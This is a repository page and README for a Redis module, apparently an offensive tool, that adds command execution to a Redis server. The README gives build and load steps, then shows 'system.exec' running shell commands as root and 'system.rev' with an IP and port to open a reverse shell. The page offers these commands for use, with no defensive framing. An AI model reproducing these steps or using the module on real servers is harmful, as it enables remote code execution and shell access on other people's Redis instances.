You cannot select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
d7cebd44bc | 5 years ago | |
---|---|---|
rmutil | 5 years ago | |
src | 5 years ago | |
.clang-format | 7 years ago | |
.gitignore | 9 years ago | |
LICENSE | 9 years ago | |
Makefile | 5 years ago | |
README.md | 5 years ago | |
redismodule.h | 6 years ago |
README.md
RedisModules-ExecuteCommand
Quick Start Guide
Here's what you need to do to build your first module:
- Build Redis in a build supporting modules.
- Build librmutil and the module by running
make
. (you can also build them seperatly by runningmake
in their respective dirs) - Run redis loading the module:
/path/to/redis-server --loadmodule ./module.so
Now run redis-cli
and try the commands:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
Enjoy!